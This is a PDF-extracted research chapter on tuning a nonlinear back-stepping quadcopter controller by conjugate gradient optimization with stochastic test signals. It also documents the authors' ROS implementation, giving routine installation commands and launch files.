Abstract A key activity in the deployment of quadcopters is controller tuning. Thisresearch chapter addresses the problem of how to optimize the parameter set of acontroller for a quadcopter. Existing research in iterative controller optimization hascentered on the use of linear models of the process. However, in this research chapter,we propose a procedure based on conjugate gradient optimization for controllertuning when the dynamic model is nonlinear and the test signals are stochastic. Tovalidate the findings, a bipartite ROS application was implemented. The first partcorresponds to the orientation controller of the drone which runs on the onboardcomputer. The second part carries out the position controller and runs on a groundstation computer. ROS Indigo Igloo is used for the code of this chapter.

Keywords Unmanned aerial vehicle · Quadcopter · Nonlinear control ·Numerical optimization

1 Introduction

Aerial robots have many advantages over ground robots when it comes to executingsome tasks, such as goods delivery, surveillance, inspection, and search-and-rescue.The quadcopter or quadrotor is a popular type of Unmanned Aerial Vehicle (UAV).It has a simple mechanical structure with the ability to move omnidirectionally bychanging the rotation speeds of its four propellers.

A. Matus-Vargas (B) · G. Rodriguez-Gomez · J. Martinez-CarranzaComputer Science Department, Instituto Nacional de Astrofísica, Óptica y Electrónica,Luis Enrique Erro 1, 72840 Puebla, Mexicoe-mail: [email protected]

G. Rodriguez-Gomeze-mail: [email protected]

J. Martinez-CarranzaUniversity of Bristol, Bristol BS8 1UB, UKe-mail: [email protected]


55

[email protected]

56 A. Matus-Vargas et al.

There has been extensive research about the quadrotor making it an excellenttestbed for control techniques. The general outcome of control techniques are con-trollers with a set of customizable parameters. Those parameters need to be tuned sothat the closed-loop system describe the desired behavior. For the tunning, optimiza-tion methods have been applied to reduced models of the process to be controlled,typically linear. In contrast, this research chapter will explore a procedure for theoptimization of controller parameters considering a nonlinear quadcopter model andstochastic test signals.

The optimization results are tested using a bipartite ROS application. The firstpart corresponds to the orientation controller of the quadcopter which runs on theonboard computer, an ARM-based Odroid XU4 board [1]. The second part carriesout the position controller and runs on an off-board computer. In terms of control,the first part is equivalent to the inner loop which is assumed to be sufficiently fastto follow the required Euler angles and thrust. The second part is referred to as theouter loop which runs at a lower rate than the inner loop and is in charge of takingthe drone to the desired position.

This chapter is organized as follows:

– First, we present a background section on the system model and the control algo-rithm.

– Second, we review the mathematical problem and the conjugate gradient method[2].

– Third, we justify the use of stochastic test signals in the design of controllers.– Fourth, we describe the ROS package implemented to test the optimized controller.– Finally, we provide experimental results and conclusions.

2 Background

2.1 Optimization Problem

The dynamics of a system is given by an Initial Value Problem (IVP) of the form

x(t) = f (x(t), u(t), t) x(t0) = x0, (1)

where x = dx/dt , x ∈ Rn is an Euclidean space, u is the control input that belongs

to the vector space U , f is a vector-valued function on Rn × U linear or nonlinear,

and x0 is the initial condition. It is assumed that the initial time t0 and the final timet f are given. The performance measure of this system over the time interval [t0, t f ]is assumed to be given by the cost function

J (u) = h(x(t f ), t f ) +t f

∫

t0

g(x(t), u(t), t) = φ(x(t f , u)), (2)

[email protected]

Parametric Optimization for Nonlinear Quadcopter Control … 57

where x(t f , u) is the state x at time t f . We can observe that the cost function is afunction of the reached final state and measures the penalty that must be paid dueto the dynamic system’s trajectory. The problem is to find u∗ ∈ U that causes thesystem (1) to follow a trajectory x∗ that minimizes the cost function (2), that is

u∗ = arg minu∈U

J (u), (3)

where the function J is given by (2) and the state variable x satisfies the IVP in (1).Here we focus in the special case where the space U in which the minimum is soughtis R

m ; a typical element is u = [u1, u2, ..., um]T , where u1, u2, ..., um are a set ofparameters.

The optimization problem is resolved by using the simulation-based methodology:(a) given a set of control parameters u the physical process (1) is simulated over[t0, t f ], (b) the functional J is evaluated in the final state reached, (c) an algorithmis used to find the optimal u. This process is iterative and can be time-consuming.

2.2 Conjugate Gradient Methods

Having posed our mathematical problem, we can proceed to use numerical methodsfor optimization. However, since it is more complicated to find the global minimumof a function, the strategy is to search a local minimizer, a point x∗ which minimizesJ (u) in some neighborhood of x∗.

The basic geometrical idea behind the Conjugate Gradient (CG) [3] is to take stepsthat lead “downhill” to a function z(x), x = (x1, x2, . . . , xn)

T ∈ Rn . More precisely,

the CG method starts with an initial guess x0 to construct a sequence x0, x1, . . . , suchthat z(x i+1) < z(x i ). The sequence is generated until some convergence criterion ismet. It does not guarantee to find the global optimum.

CG methods are simple and easy to implement. The computational complexityof these types of algorithms is linear, O(n), whereas the computational complexityfor Newton’s methods per iteration is cubic, O(n3), and for Quasi-Newton methodsis quadratic, O(n2). Likewise, with respect to the memory requirements, Newton-type methods and Quasi-Newton-type methods require quadratic memory, whileCG-type methods have linear space complexity. Since CG-type methods have linearcomputational and space complexity, they are best suited for large problems (n ≥1000) and may outperform Newton-type or Quasi-Newton-type methods [4, 5].

Among the CG-type methods, the more popular are the Fletcher-Reeves method(FR-CG), the Polak-Ribière method (PR-CG), and the Polak-Ribière positive method(PR+). In practice, the PR-CG method performs better than FR-CG [6].

The CG algorithm requires the gradient of the function to be optimized. Wehave two alternatives: to provide the analytical gradient or to provide the gradient

[email protected]


approximated by differences formulas. In general, it is recommended to give theanalytical gradient to reduce the numerical errors and to avoid difficulties to theunconstrained optimization problem. However, we have noted that the cost functionis evaluated after a computational simulation, and can be impractical or expensiveto compute the analytical gradient.

When using the gradient of the cost function approximated by difference formulasof first order, we take J = J (k1, . . . , km) and calculate ∂ J/∂k j , j = 1, 2, . . . , m as

∂ J (k)

∂k j

≈ J (k + he j ) − J (k)

h, (4)

where k = (k1, k2, . . . , km), e j = (0, 0, . . . , 1, 0, . . . , 0) with 1 in the place j–th andh is a constant greater than zero.

2.3 Control of Multirotors

The general elements of a control loop are the reference (pref , ψref ), the controller,the plant, and the feedback loop. Here, the main objective is to correct the behaviorof some desired outputs of the plant (p, η). Sensors provide measurements of theoutput values, forming the feedback loop. Then, the controller computes a command(ud , f, τ ) based on the comparison of the feedback value and the user-definedreference. Finally, the loop closes when the commands are executed by the actuatorsof the plant.

In the context of multi-rotors, the motor-propeller assembly (rotor in short) isan actuator. The prefix ‘multi’ implies two or more of rotors. Besides the amount,the topology of multi-rotors varies with the distribution of the rotors. We may alsoencounter several configurations of sensors. A sure must-have is the Inertial Measure-ment Unit (IMU), which is a combination of accelerometers, gyroscopes, and magne-tometers. The accelerometer detects the current acceleration along three orthogonalaxes, whereas the gyroscope measures the angular velocities about the same axes.The magnetometer, for its part, measures the surrounding magnetic field. The outputof the three sensors can be fused to obtain some mathematical representation of thedrone orientation in three-dimensional space, also known as attitude.

As a means to control the drone’s position in space, the attitude/inner loop isenclosed with the position/outer control loop, see Fig. 1. In control engineering,the scheme with two or more nested control loops is called cascade or hierarchicalcontrol. The reference of the attitude loop is now given by the output of the positionloop, and the user-defined reference enters the position loop. The inner loop can bethought as the actuator of the outer loop. Several types of sensors have been used formeasuring position, being the Motion Capture (MoCap) and the Global PositioningSystem (GPS) among the most widely used.

[email protected]


Fig. 1 Cascade control scheme for quadcopters

3 Related Work

Researchers have already applied to quadcopters several control techniques [7], forwhich a general classification is: linear, nonlinear, and learning-based [8]. Amongthe linear control techniques, the Proportional-Integral-Derivative (PID) controlleris one of the most popular. This controller is easy to implement and does not requirea mathematical model of the plant for the tuning of its parameters. For a quadrotor,the first usual task is to design a controller for the orientation angles. In this case, thegains of three PID controllers can be adjusted considering a reduced rotational model[9]. Another approach is to use a cascade control structure in which the inner-loopcontrols angular velocities and the outer-loop controls angles [10]. Here, the innerloop is tuned before the outer loop.

Researchers have proposed methods to tune PID controllers for quadrotors. Thesteepest descent and Newton’s methods were applied for tuning a PD controller [11].Using simulations results, the authors favored the second method. In other work, atuning approach based on gradient optimization through a variational system waspresented. This method was first applied to a PD controller and then extended fora PID controller, considering a reduced quadcopter model that does not describemovement across the x-y plane. Meta-heuristic techniques have been utilized forsimulated PID tuning, such as Genetic Algorithm (GA), Particle Swarming Opti-mization, Bacterial Foraging, and Bat Algorithm [12, 13]. Alternatively, Bayesianoptimization can be performed on the real system directly [14]. This strategy takesinto consideration safety, but it requires numerous long attempts to find a possibleoptimum.

Variational calculus has allowed the development of the optimal control theory.This theory provides a framework for determining control signals that will cause aprocess to maximize or minimize a performance criterion [15]. The Linear QuadraticRegulator (LQR) is one kind of optimal control technique, in which the controlleris given by a negative feedback of the system’s states. This approach was used toobtain vertical position controllers [16]. Three techniques were compared, a PIDtuned to minimize an Integral Time-weighted Absolute Error (ITAE), a classic LQRcontroller, and a PID tuned by an LQR loop. It was shown that the ITAE-tuned PIDgave faster results but was not as robust as the LQR. The LQR technique has been

[email protected]


widely applied to different quadrotor dynamic models and to real-world experiments[17–19]. However, this approach works with the assumption of a linear system to becontrolled, which impose certain limitations.

In the most related work, the authors proposed to tune a back-stepping like non-linear controller using a GA [20]. The tuned controller, which was derived with Lya-punov stability theory, exhibited remarkable performance in simulation, but experi-ments with a real platform were not reported.

In general, the problem of how to tune a controller so it behaves optimally hasbeen tackled two main approaches: relying on the properties of the system, suchas stability or linearity [21], or using mathematical optimization. Most of the workconcerned with optimization of controllers for UAVs and Micro Air Vehicles (MAVs)has concentrated on the tuning of linear controllers. Even though a properly tunedlinear controller like the PID is able to stabilize a MAV, its performance can besurpassed by a nonlinear controller. Moreover, the literature is lacking in optimizationprocedures that use of stochastic test signals, which are generally more realistic. Asfar as we are aware, this work is the first to both treat the optimization of a nonlinearcontroller for a MAV, as well as considering stochastic test signals.

4 Control Algorithm and Optimization

4.1 Mathematical Model

The position and orientation (pose) of the UAV can be defined by assigning a world-fixed coordinate system (xW , yW , zW ) and a body-fixed coordinate system (x, y, z),see Fig. 2. We denote by p ∈ R

3 the origin of the body-fixed coordinates expressedin the world coordinates. We also denote by R ∈ SO(3) the matrix that when pre-multiplied by a vector in the body-fixed coordinates yields the same vector expressedin the world coordinates. Moreover, we denote by η = (φ, θ,ψ)T the vector of Eulerangles (roll, pitch, and yaw). The angular velocity in the body frame is denoted byω ∈ R

3, and the relationship between the angular velocity and the vector of Eulerangles rates is encoded by B ∈ R

3×3. The nonlinear model of the quadcopter can bederived using the Newton-Euler equations or the Euler-Lagrange formalism [22–25].The simplified model is

m p = R F − W + ku

η = B ω

I ω = τ − ω × Iω + kτ

, (5)

where m ∈ R and I ∈ R3×3 specify the mass and the inertia matrix of the drone,

W is the weight vector, F and τ define the thrust and torque vectors generated bythe rotors, and the variables ku and kτ elements of R

3 are constant disturbances in

[email protected]


Fig. 2 Coordinate frames definition

the translational and orientation parts of the model. The explicit forms of the thrust,torque, and weight vectors are given as follows:

F =

⎛

⎝

00f

⎞

⎠ , τ =

⎛

⎝

τφ

τθ

τψ

⎞

⎠ , W =

⎛

⎝

00

mg

⎞

⎠ . (6)

The rotation matrix R is obtained from the fact that three coordinate rotations insequence can describe any rotation. Selecting the order yaw-pitch-roll, the rotationmatrix has the following expression:

R(φ, θ,ψ) =

⎛

⎝

cψcθ cψsθsφ − sψcφ sψsφ + cψsθcφ

sψcθ cψcφ + sψsθsφ sψsθcφ − cψsφ

−sθ cθsφ cθcφ

⎞

⎠ , (7)

where s• and c• indicate cos(·) and sin(·) respectively. Consequently, the matrix B

has the following form [26]:

B(φ, θ,ψ) =

⎛

⎝

1 sφ tan θ cφ tan θ

0 cφ −sφ

0 sφ/cθ cφ/cθ

⎞

⎠ .

The nonlinear model (5) along with the back-stepping technique [27] are used todesign a control algorithm [28]. The control algorithm is divided in two stages, thefirst one handles the position and the second one handles the orientation.

Though the optimization will not use the motor model, its details are needed forthe implementation of what is called the motor mixer, in essence, the input matrix[29]. Let T1, . . . , T4 be the thrust generated by each rotor and according to Fig. 2,then

[email protected]


⎛

⎜

⎜

⎝

f

τφ

τθ

τψ

⎞

⎟

⎟

⎠

=

⎛

⎜

⎜

⎝

1 1 1 1−ℓ/

√2 ℓ/

√2 ℓ/

√2 −ℓ/

√2

−ℓ/√

2 −ℓ/√

2 ℓ/√

2 ℓ/√

2−cM cM −cM cM

⎞

⎟

⎟

⎠

⎛

⎜

⎜

⎝

T1

T2

T3

T4

⎞

⎟

⎟

⎠

, (8)

in which ℓ ∈ R denotes the distance from the center of mass to the center ofeach rotor in the xy-plane, and cM ∈ R denotes the propeller coefficient of drag[30]. Furthermore, the relationship between the pulse-width modulated signalsw1, . . . , w4 ∈ [1000, 2000] µs sent to the Electronic Speed Controllers (ESCs) andthe thrust produced by the motors are obtained by fitting second order polynomialsof the form:

Ti = aiw2i + biwi + ci . (9)

where a, b, and c are obtained from empirical data measured on a thrust stand. Ingeneral, each rotor i produces a thrust proportional to the squared rotor turn rate,Ti = cT,iΩ

2i , where the thrust constant cT,i may vary depending on the individual

propeller efficiency. In addition, each rotor produces a torque about its own axis ofrotation, which is also proportional to the squared motor turn rate by constants cM,i ,Mi = cM,iΩ

2i . These turn rate relations hold when combining (8) and (9) with the

assumption that the propellers share the same constant cM .

4.2 Position Control Algorithm

To design the position algorithm, we assume that the orientation algorithm is fastenough so that the position of the UAV converges to the reference. The position erroris defined as:

ep = p − pref =⇒ ep = p − pref , (10)

with pref as the desired position (reference). Then, the position control action isdesigned to be:

ud = −ku + m[

pref − (K p + Kv)ep − (1 + Kv K p)ep

]

, (11)

where ku is the estimate of ku . As a part of the design process, we can define thevelocity error as:

ev = ep + K pep.

Therefore, the dynamics of the disturbance’s estimation is given by the followingexpression:

[email protected]


˙ku = γu

mev.

The matrices K p, Kv , and γu are positive diagonal and are used for tuning theposition control algorithm. With this form, it can be shown that

VLp = −K p < ep, ep > −Kv < ev, ev > ≤ 0, ∀t ≥ 0,

where VLp is a Lyapunov function and < ·, · > stands for the inner vectorial product.That is, the origin system (10) (in essence, ep = ep = 0) is stabilized by the virtualcontrol in (11).

4.3 Attitude Control Algorithm

In the case of no external disturbance, the global force moving the vehicle is u =(ux , u y, uz)

T = R(φref , θref ,ψ)Fref − W . Then, it is possible to obtain the referencevalues θref , φref , and fref :

θref = arctan

(

u ysψ + ux cψ

uz + mg

)

, (12)

φref = arctan

(

cθref

ux sψ − u ycψ

uz + mg

)

, (13)

fref = uz + mg

cθref cφref

. (14)

When u = ud , the reference values obtained from (12)–(14) are the ones neededto generate the virtual control (11). The remaining reference, ψref , can be chosenarbitrarily or conveniently. Now, the Euler angles error is defined as:

eη = η − ηref =⇒ eη = η − ηref = B ω − ηref . (15)

Using this definition, the attitude control action is designed to be:

τ = −kτ + ω × Iω+I[

B−1ηre f − B−1 Bωd

− (B−1 Kη + Kω B−1)eη − (B−1 + Kω B−1 Kη)eη

]

,(16)

with kτ as the estimate of the constant disturbance in the attitude model. Let us definethe angular velocity error as follows:

eω = B−1(eη + Kηeη).

[email protected]


Thus, the dynamics of the disturbance estimate is chosen to be as the expressionherein: ˙

kτ = γτ I −1eω.

The variables Kη, Kω , and γτ are positive diagonal matrices which are used for tuningthe attitude control algorithm. With this form, it can be demonstrated that:

VLη = −Kη < eη, eη > −Kω < eω, eω > ≤ 0, ∀t ≥ 0,

where VLη is a Lyapunov function. This means that the origin of the system (15)(basically, eη = eη = 0) is stabilized by the control in (16).

4.4 Cost Function

The general form of the cost function, also referred to as the performance measure,was described in (2). In order to evaluate the performance of a system quantitatively,the designer must select a particular form of the performance measure. In classi-cal control design techniques, typical performance criteria are system time responseto step input characterized by rise time, settling time, overshoot, and steady-stateaccuracy; and the frequency response of the system characterized by gain and phasemargins, and bandwidth. In optimal control, the performance measure is a mathe-matical expression that is wanted to be extremized by the control. In certain cases,the problem statement clearly indicates what to select for a performance measure,whereas in others the selection is subjective.

Table 1 provides a summary of some typical control problems along with themathematical expressions for the cost function associated with those problems. Toclarify the notation of the table, the function ‖·‖2

H is the squared norm weighted witha matrix H , that is:

‖x − r‖2H = (x − r)T H(x − r)

Recalling the optimization problem in Sect. 2.1, the main objective is to optimize theparameters of the position and attitude control algorithms. Inspired by the informationin this section, the custom cost function chosen to achieve the main objective is givenbelow:

J =∫ t f

t0

‖p(t) − pref‖2E + ‖η(t) − ηref‖2

E

+ r[

Tr(K Tp K p + K T

v Kv + γTu γu

+ K Tη Kη + K T

ω Kω + γTτ γτ )

]

dt, (17)

[email protected]


Table 1 Summary of typical control problems and cost functions [15, 31]

Problem Cost function

Minimum-time: To transfer a system from anarbitrary initial state to a specified final state inminimum time

J =∫ t f

t0

dt = t f − t0

Terminal control: To minimize the deviation ofthe final state of a system , x(t f ), from itsdesired value, r(t f )

J =∥

∥x(t f ) − r(t f )∥

∥

2H

Minimum-control-effort: To transfer a systemfrom an arbitrary initial state to a specified finalstate with minimum expenditure of controleffort

J =∫ t f

t0

m∑

i=1

βi |ui (t)|dt

J =∫ t f

t0

‖u(t)‖2R dt

Tracking: To maintain the system state, x(t), asclose to the desired state, r(t), in the interval[t0, t f ]

J =∥

∥x(t f ) − r(t f )∥

∥

2H

+∫ t f

t0

(

‖x(t) − r(t)‖2Q(t) + ‖u(t)‖2

R(t)

)

dt

with E as the (3 × 3) identity matrix, r as a scalar, and Tr(·) as the trace of a matrix.When minimizing (17), the weight r expresses a preference for the parameters tohave smaller squared L2 norm. The value of r is chosen ahead of time and controlsthe strength of our preference for smaller parameters. When r = 0, we impose nopreference, and larger r forces the parameters to become smaller.

The terminal cost part of the performance measure, h(x(t f ), t f ), was deemed notnecessary since the control algorithm described in Sects. 4.2–4.3 guarantee that theerrors eventually converge to zero.

4.5 Stochastic Test Signals

Common performance specifications, such as overshoot, settling time and rise time,are given in terms of step response characteristics. Though step inputs are quite usefulas test signals, stochastic test signals offer some advantages over the step. They allowthe consideration of multi-input systems and are generally more realistic since fewsystems operate with strictly deterministic signals.

The model for generating stochastic test signals consists of a random numbergenerator followed by a hold whose output is fed to a linear filter. This considerationensures that the majority of the test signal power lies within the passband of the systemunder consideration. Limiting the bandwidth of the stochastic signals applied to asystem also helps to not upset the integration method used to calculate the systemresponse [32].

[email protected]


For simplicity, first- and second-order filters were chosen of the form

W1(s) = a0

s + a0

W2(s) = ω2n

s2 + 2ξωns + ω2n

, (18)

where W1(s) has a cutoff frequency of a0, and W2(s) has a cutoff frequency of ωn

with a damping factor ξ. Additionally, the variance of the test signal using these twofilters is given by

σ1 = a0

2σ2

RN h

σ2 = ωn

2ξσ2

RN h, (19)

where σRN is the variance of the numbers produced by the random generator, andh is the period of the generator. Please note that the amplitude characteristic andthe frequency bandwidth of the stochastic test signal can be selected as desired bycontrolling the probability distribution of the generator and the transfer function. Wewant to use a second-order flat filter for signals exciting the plant, which means thatthe the damping factor must be fixed to ξ = 1/

√2; the corner frequency ωn must

fall within the passband of the plant. We use the first-order filter for disturbances invariables that are perturbed in real life, with a flat spectrum in the passband of thesignal exciting the plant, that is, a0 > ωn .

In general, the form of the performance measure when a stochastic test input isthe same as the one where a deterministic input is used. However, the time intervalmust be selected adequately. Consider that the performance measure has the generalreduced form below:

J =∫ t f

t0

[y(t) − r(t)]2 dt =∫ t f

t0

e(t)2dt. (20)

Minimizing (20) is equivalent to minimize the following:

J = 1

t f − t0

∫ t f

t0

e(t)2dt,

which is the mean square value of error. Moreover, when dealing with a stationaryergodic process we have

lim(t f −t0)→∞

J = E[e2] = expected value of e2. (21)

From (21) we have that minimizing criterion (20) is equivalent to minimize theensemble average of squared error when the simulation interval [t0, t f ] is large

[email protected]


Fig. 3 Simulation diagram for a quadcopter with torque disturbance

enough. This means that (t f − t0) must be chosen long enough so that the solu-tion of the optimization problem with one stochastic test signal from the generator,previously described, is sufficient to optimize the system response for all signalsfrom the generator.

In particular, one vector of stochastic test signals r(t) ∈ R3 is introduced in the

optimization process. Also, a vector of torque disturbances d(t) ∈ R3 is added to the

vehicle dynamics, see Fig. 3.

5 Simulation Results

Testing control algorithms in computer simulations before being implemented inexperimental platforms is always a good practice. This section will provide simula-tion results in order to make relevant comparisons. First, a qualitative comparisonis made between the behavior of an optimized PID and the behavior of an opti-mized back-stepping controller. Then, the results of the optimization process withand without stochastic test signals are compared. Concluding remarks are given atthe end.

The PID is a linear controller that has been applied to nonlinear systems, such asrotor-crafts. The PID controller is easy to implement and its gains can be adjustedheuristically. However, the fine tuning of this controller is not an easy task whenthe plant is nonlinear. There are several methods for selecting the gains of the PIDfor nonlinear systems. For instance, an optimization procedure with deterministicsignals was applied in [33]. Given the benefits of the PID, why would anyone botherto implement a more complicated controller? The answer to this question is givenhere.

The optimization procedure without using stochastic signals was applied to thePID controller and to the back-stepping controller. The same position-attitude tran-sitioning (14) was used for a cascade PID control scheme. Initial conditions andreferences were the same for both controllers.The UAV parameters are given inTable 2. Figure 4 show the simulation results. Qualitatively, the optimization proce-

[email protected]


Table 2 Simulation parameters

Symbol Value Description

m 0.9 kg Vehicle mass

Ix 0.1167 kg·m2 Moment of inertia about the x-axis

Iy 0.1105 kg·m2 Moment of inertia about the y-axis

Iz 0.2218 kg·m2 Moment of inertia about the z-axis

ℓ 0.2275 m Arm length of the quadcopter

g 9.81 m/s2 Gravity acceleration

Fig. 4 Performance of tuned controllers with deterministic signals: PID (left), back-stepping (right)

dure yielded better results with the back-stepping technique. This outcome can beexplained as follows. The back-stepping controller linearizes the closed-loop systemwhich in turns makes the cost function hyper-surface simpler compared to the PIDhyper-surface. For this reason, the remainder of this section is carried out with thenonlinear controller.

As for the inclusion of the stochastic signals, Fig. 5 displays the step response of theback-stepping controller optimized with stochastic signals. The stochastic test vectoris obtained by filtering the signal of three normally distributed number generatorsof zero mean and σ2

RN = 3, with a second-order filter, ξ = 1/√

2 and ωn = 0.2.In the same manner, the disturbance vector is obtained by filtering the signal ofthree normally distributed generators of zero mean and σ2

RN = 0.1, with a first-orderfilter, a0 = 1. The simulation step was set to h = 0.02 and the simulation interval to(t f − t0) = 10. Qualitatively, the response is enhanced since the oscillations and theovershoot are reduced. The gains found for this system are different from the onesfound without stochastic signals; the gains obtained using stochastic signals are, onaverage, higher than the ones obtained with deterministic inputs, as shown in Table 3.

[email protected]


Fig. 5 Performance of theback-stepping controllertuned with stochastic testsignals

Table 3 Optimization resultswith deterministic andstochastic test signals

Symbol Deterministic Stochastic

kp1 1.6197 1.6532

kp2 1.6398 1.5982

kp3 2.5627 2.5763

kv1 1.6044 1.6532

kv2 1.6385 1.5982

kv3 2.5643 2.5763

kη1 5.3887 5.3904

kη2 5.3491 5.4973

kη3 0.5017 1.0129

kω1 5.3834 5.3838

kω2 5.3960 5.4920

kω3 0.3977 0.7826

To conclude this section, we remark two main observations. First, we haveobserved that the proposed optimization algorithm works better with the back-stepping controller since it simplifies the closed-loop system. Finally, we have pro-vided evidence that the usage of stochastic test signals offers an improvement in theoptimization process.

[email protected]


6 Optimized Controller in ROS

6.1 Repository Overview

This section describes our open-source repository of ROS-based back-stepping con-troller for quadcopters (https://github.com/AMatusV/bstep_qc). The repository pro-vides the following objects: (i) the position controller, (ii) the attitude controller,(iii) the motor mixer, (iv) a set-point node, (v) an emergency stop, and (vi) the IMUcommunication program.

The repository structure is composed by the following directories:

– controller: This is the ROS package that provides the position and attitude con-trollers, the motor mixer, and the set-point node.

– keyboard: This is a ROS package that stores a keyboard driver which is used asthe emergency stop [34].

– lpms: This is a ROS package providing a communication program for a specificIMU sensor.

– lpsensor: This directory stores the installation files a Debian package software[35] needed by the package of the IMU.

– matlab: This directory provides the MATLAB files for obtaining the optimizationresults.

– vicon_bridge: This is a ROS package of a driver providing data from Vicon motioncapture systems [36].

The next section discuss how to install and use the packages of our repository. Forthat, the reader must use Ubuntu 14.04 LTS Operating System (OS) with the followingsoftware installed: ROS Indigo Igloo, catkin, cmake, and MATLAB R2015a. Allpackages, except for the vicon_bridge package, can be compiled with ROS KineticKame. In fact, we have installed Ubuntu 16.04 with ROS Kinetic Kame on theonboard computer.

6.2 Installing Packages

Assuming one is running Ubuntu Linux OS, the steps are listed below.

1. Create a directory under your home directory and initialize the catkin workspace.

mkdir -p ~/ catkin_ws/srccd ~/ catkin_ws/catkin_make

2. Once the catkin workspace has been initialized, the reader can either download orclone the repository (the link is given below). If the repository is downloaded, the

[email protected]


zip file must be uncompressed in the ~/catkin_ws/src directory. To clonethe repository execute the following commands:

cd ~/ catkin_ws/srcgit clone https :// github.com/AMatusV/bstep_qc

3. Install needed dependencies, by typing in the terminal:

sudo apt -get install libbluetooth -devcd ~/ catkin_ws/src/lpsensorsudo dpkg -i liblpsensor -1.3.5 - Linux.debdpkg -L liblpsensor

4. Compile the catkin workspace:

cd ~/ catkin_wscatkin_make

If the repository is copied into a workspace with other packages, use the followingoption to compile only the new packages:

catkin_make --pkg controller keyboard lpmsvicon_bridge

5. The user must run the source command on the setup.sh file at least once inthe shell session, and then execute the package applications.

source ~/ catkin_ws/devel/setup.sh

To execute the ground station side (in essence, set-point, emergency stop, andposition controller) run the following:

roslaunch controller ground_station.launch

In order to avoid error messages in the compilation process on the onboard com-puter, you might need to remove the vicon_bridge package or compile the otherpackages as in the last line of Step 4. The onboard side (essentially, IMU communi-cation, attitude controller, and motor mixer) is executed with:

roslaunch controller onboard.launch

To configure ROS for running in multiple machines, the reader is referred to thetutorial in [37].

[email protected]


Fig. 6 ROS computation graph of the system

6.3 Implementation Details

An overview of the nodes and topics communication of our system is given in Fig. 6.With the set-point node, we are able to change the high-level references, in essence,

the position in the inertial frame and the yaw angle. In particular, we can modify fournumbers, three for the position and one for the angle. This node uses a custommessage type called FloatList, which defines an array of floats. Additionally,we enabled the dynamic reconfigure server for this node using the definitions inthe Setpoints.cfg file. In this way, we will see the ‘setpoints’ section in theGraphical User Interface (GUI) invoked by executing the rqt_reconfigurecommand. Every time a reference is modified, the node packs all four references inan array of floats that is sent through the sp_topic. Through a launch file, we canset the start-up values.

We use the keyboard node as an emergency stop for the system. When this nodeis run, a small window with a black background will appear. It is necessary that thiswindow is focused for the keyboard node to catch events. Basically, the node listensto keyboards events so whenever a ‘keyup’ event is detected, the program publishes amessage in the keyup topic. This message is listened by the set-points node, whichin turn toggles the value of a boolean variable that is communicated through thees_topic. The message type is std_msgs/Bool, and for security, the start-upmessage value is false by default.

The position controller is in charge of computing the virtual control vector.This node subscribes to both topics published by the set-points node, sp_topicand es_topic. In the former, it receives four values but uses only three corre-sponding to the position references. In the latter, it receives a boolean variable that

[email protected]


Fig. 7 Dynamic reconfiguration allows to change the set-points and the controllers parameters

enables the publication of the controller output. Also, this node is subscribed to thevicon/odro/odro topic, from which we obtain the position of the drone as mea-sured by the Vicon motion capture system. The node loop frequency can be changedwith a launch file and is independent of the MoCap measurement frequency. Thevirtual control vector is published on the pos_topic as a FloatList of threeelements. The dynamic reconfigure server allows changing the controller parametersat runtime as shown in Fig. 7. Definitions of the reconfigure server for this node canbe found in the Controller.cfg file.

Similarly to the position node, the attitude node subscribes to the set-point nodetopics. In addition, it subscribes to the position topic. This node calculates the thrustand the torque vector that the rotors must produce to follow the high-level references.Thus, the attitude node publishes a four element FloatList to the att_topicwhen it is enabled. The publication frequency of this node cannot be changed and isthe same as the frequency of the orientation sensor. The dynamic reconfigure serverfor this node is called with the definitions in the Controller.cfg file.

The mixer node is the implementation of the input matrix with clamping con-ditions. It subscribes to the attitude topic and to the keyboard node. Every time amessage from the attitude node is received, the mixer node computes the signals thatmust be sent to the ESCs. It is important to note that this node was designed to beexecuted on a single-board computer with at least one I2C port available. As is, we donot recommend to run this node on a personal computer. Dynamic reconfigurationallows adjusting the thrust and moment constants. Definitions for the reconfigureserver for this node are given in the Mixer.cfg file.

Lastly, the lpms package provides a node to communicate with a particularorientation sensor, which will be described in the next section. This package makesuse of the Linux library implemented by the company that sells the sensor. In detail,the sensor can be configured to output several numbers, including the Euler angles,unit quaternion, rotation matrix, or raw data. We programmed the IMU node to delivera FloatList containing the Euler angles in radians over the angles topic.

[email protected]


Now, let us review the launch files. The launch fileground_station.launchhas the following structure:

1 <launch >2 <node name="keyboard_node" pkg="keyboard" type="

keyboard" output="screen" />3 <node name="setpoints_node" pkg="controller" type

="setpoints" output="screen" >4 <remap from="keyup" to="/keyboard_node/keyup"

/>5 </node >6 <node pkg="vicon_bridge" type="vicon_bridge" name

="vicon" output="screen">7 <param name="stream_mode" value="ClientPull"

type="str" />8 <param name="datastream_hostport" value="

192.168.10.1:801" type="str" />9 <param name="tf_ref_frame_id" value="/world"

type="str" />10 </node >11 <node name="position_node" pkg="controller" type=

"position" output="screen" >12 <param name="Kr1" value="1.6532" />13 <param name="Kr2" value="1.5982" />14 <param name="Kr3" value="2.5763" />15 <param name="Kv1" value="1.6532" />16 <param name="Kv2" value="1.5982" />17 <param name="Kv3" value="2.5763" />18 <param name="x_upper_limit" value="1.75" />19 <param name="x_lower_limit" value=" -1.75" />20 <param name="y_upper_limit" value="1.75" />21 <param name="y_lower_limit" value=" -1.75" />22 <param name="frequency" value="20" />23 <remap from="state" to="/vicon/odro/odro" />24 <remap from="position_enable" to="/

general_enable" />25 </node >26 <node name="rqt_reconfigure" pkg="rqt_reconfigure

" type="rqt_reconfigure" />27 </launch >

Lines 2–10 will launch the keyboard, the set-points, and the Vicon nodes. Onceit is launched, the keyboard node will open a window where the input is received.Lines 11–25 will start the position controller and contains information about thegains, saturation limits, and the loop frequency. The mass of the vehicle can also beconfigured from the launch file. Line 26 simply start the rqt_reconfigureGUI.

[email protected]


The structure of the onboard.launch file is the following:

1 <launch >

2 <node pkg="lpms" type="lpms_node" name="

lpms_sensor" output="screen">

3 <param name="mac_addr_device" value="00:04:3E:9

F:E1:47"/>4 </node>

5 <node name="attitude_node" pkg="controller" type="

attitude" output="screen" >

6 <param name="Ke1" value="5.3904" />7 <param name="Ke2" value="5.4973" />

8 <param name="Ke3" value="1.0129" />9 <param name="Ko1" value="2.5" />

10 <param name="Ko2" value="2.5" />

11 <param name="Ko3" value="0.7826" />12 <param name="thrust_upper_limit" value="8" />

13 <param name="thrust_lower_limit" value=" -8" />14 <remap from="state" to="/angles" />

15 <remap from="attitude_enable" to="/general_enable" />

16 </node >

17 <node name="mixer_node" pkg="controller" type="mixer" output="screen" launch -prefix="sudo -E">

18 <remap from="mixer_enable" to="/general_enable"/>

19 </node >

20 </launch >

